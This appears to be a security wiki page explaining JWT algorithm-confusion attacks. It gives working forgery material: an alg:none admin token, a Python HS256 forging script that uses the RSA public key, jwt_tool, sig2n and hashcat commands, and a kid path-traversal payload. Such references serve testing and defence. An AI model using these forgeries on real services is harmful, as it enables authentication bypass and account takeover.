JWT algorithm confusion

A signature-verification bypass in which the server is persuaded to accept a JSON Web Token (JWT) whose claims the attacker controls. The token's alg header is attacker-supplied, so a verifier that trusts it can be steered onto a code path that uses the wrong key material, or no signature check at all. The practical impact is authentication bypass and privilege escalation: forge {"sub":"administrator"} and become any user.

Overview#

A JWT is three base64url segments joined by dots, header.payload.signature, where the signature covers base64url(header) + "." + base64url(payload) (RFC 7519, RFC 7515). The header's alg parameter declares how that signature was produced, for example HS256 (HMAC-SHA-256, symmetric shared secret) or RS256 (RSA-SHA-256, asymmetric private/public keypair).

The vulnerability class exists because the verifier reads alg from data the attacker controls and dispatches verification accordingly. RFC 7519 already warns that an application should reject a JWT unless the algorithms used in it are acceptable to the application; the bugs below are all failures to enforce that.

Prerequisites for exploitation: you can read and modify a token the application trusts (typically a session cookie or Authorization: Bearer), and the verifier mishandles alg, the signature, or a key-selection header (jwk, jku, kid).

How it works#

The none algorithm (unsecured JWT)#

RFC 7515 defines an Unsecured JWS as one with alg set to none and the empty string for its signature value. A library that honors none skips signature verification entirely and reports the token as valid. The header is simply:

json
{ "alg": "none", "typ": "JWT" }

A forged admin token is the header and payload, base64url-encoded, followed by a trailing dot with nothing after it:

code
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbmlzdHJhdG9yIn0.

The trailing dot is required: the payload segment must still be terminated even though the signature is empty. Servers that blocklist the literal string none can sometimes be bypassed with mixed case (None, nOnE) or alternative encodings, because the comparison happens before normalization.

A close relative is the null-signature bypass: alg stays RS256, but the signature segment is truncated to zero length and a logic error causes verification to be skipped.

RS256 to HS256 key confusion#

Many libraries expose an algorithm-agnostic verify(token, key) that decides RSA-versus-HMAC from the token's alg. A developer who only ever issues RS256 tokens passes the RSA public key as that single key argument, assuming the function only does asymmetric verification:

js
// Vulnerable pattern (Node, jsonwebtoken-style API)
const publicKey = fs.readFileSync("public.pem");
jwt.verify(token, publicKey);          // no `algorithms` allowlist

When the attacker changes alg to HS256, the library computes HMAC-SHA256(message, publicKey): it treats the public key as the HMAC secret. Because the RSA public key is, by definition, public, the attacker already possesses the exact byte string the server uses as the HMAC key. Forgery reduces to:

code
forgedToken = HS256_sign(attackerPayload, secret = serverRSAPublicKey)

Exploitation#

1 - alg:none forgery#

Decode the token, set alg to none, edit the payload, and drop the signature (keep the trailing dot). With jwt_tool:

bash
# Tamper interactively, or use the exploit mode for alg:none.
python3 jwt_tool.py <JWT> -X a

jwt_tool's -X mode letters have shifted across releases, so confirm with python3 jwt_tool.py -h. In current builds: -X a is alg:none, -X n is null signature, -X k is key confusion, -X i is jwk injection, -X s is jku spoofing.

2 - RS256 to HS256 confusion (public key known)#

(a) Obtain the public key. Standard JWKS endpoints expose it:

code
GET /.well-known/jwks.json
GET /jwks.json
GET /.well-known/openid-configuration   →   "jwks_uri": "..."

returning a JWK Set:

json
{ "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "75d0ef47-...", "n": "o-yy1wpYmffg..." } ] }

(b) Format it exactly. This is the step that most often fails. The bytes you HMAC-sign with must be byte-for-byte identical to the key as the server holds it in memory, usually a PEM string. Enumerate these variants and try each:

  • PKCS#1 (-----BEGIN RSA PUBLIC KEY-----) vs X.509 SubjectPublicKeyInfo (-----BEGIN PUBLIC KEY-----): different byte strings, different HMACs. This exact ambiguity made a 2023 fast-jwt flaw exploitable: its PEM matcher only recognized -----BEGIN PUBLIC KEY-----.
  • Trailing newline: PEM files usually end with \n; include and exclude it.
  • Line wrapping at 64 characters is part of the signed bytes.
  • PEM text vs decoded DER: sign with the PEM string, not the decoded DER.

(c) Forge, using the PEM bytes as the HMAC secret. A raw implementation avoids modern libraries that refuse asymmetric keys on HMAC paths:

python
import hashlib, hmac, base64, json

def b64(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

pub = open("public.pem", "rb").read()          # exact PEM bytes, incl. trailing \n
header  = b64(json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(",", ":")).encode())
payload = b64(json.dumps({"sub": "administrator"},       separators=(",", ":")).encode())
signing_input = header + b"." + payload
sig = b64(hmac.new(pub, signing_input, hashlib.sha256).digest())
print((signing_input + b"." + sig).decode())

Or with jwt_tool when the verifier is permissive:

bash
python3 jwt_tool.py <JWT> -X k -pk public.pem

In Burp's JWT Editor the documented flow is: import the JWK as an RSA key, export as PEM, base64-encode the PEM, create a Symmetric Key whose k is that base64, then sign with HS256.

3 - Recovering the public key from two tokens (no exposed key)#

When no JWKS is published, the RSA modulus can be recovered from two captured RS256 tokens. Verification computes s^e mod n = padded_hash, so s^e - padded_hash is a multiple of n; with two tokens, GCD(s1^e - h1, s2^e - h2) recovers n (assuming the standard exponent e = 65537). PortSwigger ships a wrapper:

bash
docker run --rm -it portswigger/sig2n <token1> <token2>

It prints one or more candidate keys as base64-encoded PEM in both X.509 and PKCS#1 form, plus a forged token per candidate. Submit each candidate's forgery (for example in Burp Repeater) until one verifies. The upstream tool is silentsignal/rsa_sign2n.

  • jwk (embedded key). The attacker signs with their own private key and embeds the matching public key in the token header. Vulnerable verifiers trust the inline key. jwt_tool -X i.
  • jku / x5u (key-set URL). The verifier fetches keys from a URL in the header; the attacker hosts their own JWKS. Hardened servers allowlist the host, but URL-parser discrepancies can bypass it. jwt_tool -X s.
  • kid path traversal. kid selects a key file; pointing it at a predictable file lets the attacker know the key. Classic payload: {"kid":"../../../../dev/null","alg":"HS256"}, then HMAC-sign with the empty string (the contents of /dev/null).
  • kid SQL injection. If keys are looked up from a database by kid, that value is an injection sink that can return an attacker-known key.
  • Weak HMAC secret. If the app legitimately uses HS256 with a guessable secret, crack it offline: hashcat -a 0 -m 16500 <jwt> <wordlist> (mode 16500 is JWT), or jwt_tool <JWT> -C -d wordlist.txt.

Tools#

  • jwt_tool: tampering, alg:none, key confusion, header-injection modes, secret cracking.
  • Burp Suite, JWT Editor extension: in-flow forging and key import.
  • rsa_sign2n / portswigger/sig2n: public-key recovery from two tokens.
  • hashcat (-m 16500): offline HS256 secret cracking.

References#

Cookie Consent

We use cookies to enhance your experience. Learn more